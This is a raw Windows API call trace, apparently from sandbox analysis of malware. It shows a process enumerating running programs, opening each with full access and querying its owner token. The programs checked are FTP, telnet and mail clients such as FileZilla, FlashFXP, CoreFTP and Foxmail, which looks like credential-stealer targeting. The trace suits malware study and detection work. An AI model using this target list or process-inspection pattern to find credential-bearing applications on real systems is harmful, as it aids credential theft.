	[0131.640] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0131.642] SetLastError (dwErrCode=0x0) 
	[0131.642] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x89c) returned 0x160
	[0131.642] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x1ac) returned 1
	[0131.642] GetTokenInformation (in: TokenHandle=0x1ac, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.642] GetProcessHeap () returned 0x380000
	[0131.643] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.643] GetTokenInformation (in: TokenHandle=0x1ac, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.643] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.645] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b70b0, cchName=0x1948f8, ReferencedDomainName=0x4011a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.646] GetProcessHeap () returned 0x380000
	[0131.646] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.647] CloseHandle (hObject=0x160) returned 1
	[0131.647] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0131.649] SetLastError (dwErrCode=0x0) 
	[0131.649] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8ac) returned 0x160
	[0131.649] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x1e4) returned 1
	[0131.649] GetTokenInformation (in: TokenHandle=0x1e4, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.649] GetProcessHeap () returned 0x380000
	[0131.649] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.649] GetTokenInformation (in: TokenHandle=0x1e4, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.650] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.651] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7030, cchName=0x1948f8, ReferencedDomainName=0x4015a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.653] GetProcessHeap () returned 0x380000
	[0131.653] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.653] CloseHandle (hObject=0x160) returned 1
	[0131.653] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0131.655] SetLastError (dwErrCode=0x0) 
	[0131.655] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8bc) returned 0x160
	[0131.655] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x128) returned 1
	[0131.655] GetTokenInformation (in: TokenHandle=0x128, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.655] GetProcessHeap () returned 0x380000
	[0131.655] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.655] GetTokenInformation (in: TokenHandle=0x128, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.656] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.792] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7130, cchName=0x1948f8, ReferencedDomainName=0x4018a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.794] GetProcessHeap () returned 0x380000
	[0131.794] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.794] CloseHandle (hObject=0x160) returned 1
	[0131.794] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0131.796] SetLastError (dwErrCode=0x0) 
	[0131.796] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8cc) returned 0x160
	[0131.796] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x134) returned 1
	[0131.796] GetTokenInformation (in: TokenHandle=0x134, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.796] GetProcessHeap () returned 0x380000
	[0131.796] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.796] GetTokenInformation (in: TokenHandle=0x134, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.796] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.798] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7170, cchName=0x1948f8, ReferencedDomainName=0x401580, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.800] GetProcessHeap () returned 0x380000
	[0131.800] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.800] CloseHandle (hObject=0x160) returned 1
	[0131.800] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0131.802] SetLastError (dwErrCode=0x0) 
	[0131.802] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8dc) returned 0x160
	[0131.802] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x13c) returned 1
	[0131.802] GetTokenInformation (in: TokenHandle=0x13c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.802] GetProcessHeap () returned 0x380000
	[0131.802] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.802] GetTokenInformation (in: TokenHandle=0x13c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.802] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.804] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7130, cchName=0x1948f8, ReferencedDomainName=0x4015a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.805] GetProcessHeap () returned 0x380000
	[0131.805] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.805] CloseHandle (hObject=0x160) returned 1
	[0131.805] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0131.807] SetLastError (dwErrCode=0x0) 
	[0131.807] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8ec) returned 0x160
	[0131.807] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x138) returned 1
	[0131.808] GetTokenInformation (in: TokenHandle=0x138, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.808] GetProcessHeap () returned 0x380000
	[0131.808] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.808] GetTokenInformation (in: TokenHandle=0x138, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.808] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.809] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7170, cchName=0x1948f8, ReferencedDomainName=0x4018a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.811] GetProcessHeap () returned 0x380000
	[0131.811] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.811] CloseHandle (hObject=0x160) returned 1
	[0131.811] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0131.813] SetLastError (dwErrCode=0x0) 
	[0131.813] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x8fc) returned 0x160
	[0131.813] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0xc8) returned 1
	[0131.813] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.813] GetProcessHeap () returned 0x380000
	[0131.814] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.814] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.814] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.815] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7130, cchName=0x1948f8, ReferencedDomainName=0x401580, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.817] GetProcessHeap () returned 0x380000
	[0131.817] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.817] CloseHandle (hObject=0x160) returned 1
	[0131.817] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0131.819] SetLastError (dwErrCode=0x0) 
	[0131.819] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x90c) returned 0x160
	[0131.819] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0xd0) returned 1
	[0131.819] GetTokenInformation (in: TokenHandle=0xd0, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.819] GetProcessHeap () returned 0x380000
	[0131.819] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.819] GetTokenInformation (in: TokenHandle=0xd0, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.819] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.821] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7170, cchName=0x1948f8, ReferencedDomainName=0x4015a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.822] GetProcessHeap () returned 0x380000
	[0131.822] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.823] CloseHandle (hObject=0x160) returned 1
	[0131.823] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0131.825] SetLastError (dwErrCode=0x0) 
	[0131.825] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x91c) returned 0x160
	[0131.825] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x20c) returned 1
	[0131.825] GetTokenInformation (in: TokenHandle=0x20c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.825] GetProcessHeap () returned 0x380000
	[0131.825] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.825] GetTokenInformation (in: TokenHandle=0x20c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.825] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.827] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7130, cchName=0x1948f8, ReferencedDomainName=0x4018a0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0131.828] GetProcessHeap () returned 0x380000
	[0131.828] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0131.828] CloseHandle (hObject=0x160) returned 1
	[0131.828] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0131.830] SetLastError (dwErrCode=0x0) 
	[0131.830] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x92c) returned 0x160
	[0131.830] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x21c) returned 1
	[0131.831] GetTokenInformation (in: TokenHandle=0x21c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0131.831] GetProcessHeap () returned 0x380000
	[0131.831] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0131.831] GetTokenInformation (in: TokenHandle=0x21c, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
	[0131.831] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name=0x0, cchName=0x1948f8, ReferencedDomainName=0x0, cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 0
	[0131.833] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x3b6dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x3b7170, cchName=0x1948f8, ReferencedDomainName=0x401580, cchReferencedDomainName=0x1948f0, peUse=0x194640 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x1948f8, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x1948f0, peUse=0x194640) returned 1
	[0132.008] GetProcessHeap () returned 0x380000
	[0132.008] HeapFree (in: hHeap=0x380000, dwFlags=0x1, lpMem=0x3b6db0 | out: hHeap=0x380000) returned 1
	[0132.008] CloseHandle (hObject=0x160) returned 1
	[0132.008] Process32NextW (in: hSnapshot=0x180, lppe=0x194660 | out: lppe=0x194660*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0132.010] SetLastError (dwErrCode=0x0) 
	[0132.010] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x93c) returned 0x160
	[0132.010] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x194648 | out: TokenHandle=0x194648*=0x124) returned 1
	[0132.010] GetTokenInformation (in: TokenHandle=0x124, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x0, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 0
	[0132.010] GetProcessHeap () returned 0x380000
	[0132.011] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x2c) returned 0x3b6db0
	[0132.011] GetTokenInformation (in: TokenHandle=0x124, TokenInformationClass=0x1, TokenInformation=0x3b6db0, TokenInformationLength=0x2c, ReturnLength=0x1948e8 | out: TokenInformation=0x3b6db0, ReturnLength=0x1948e8) returned 1
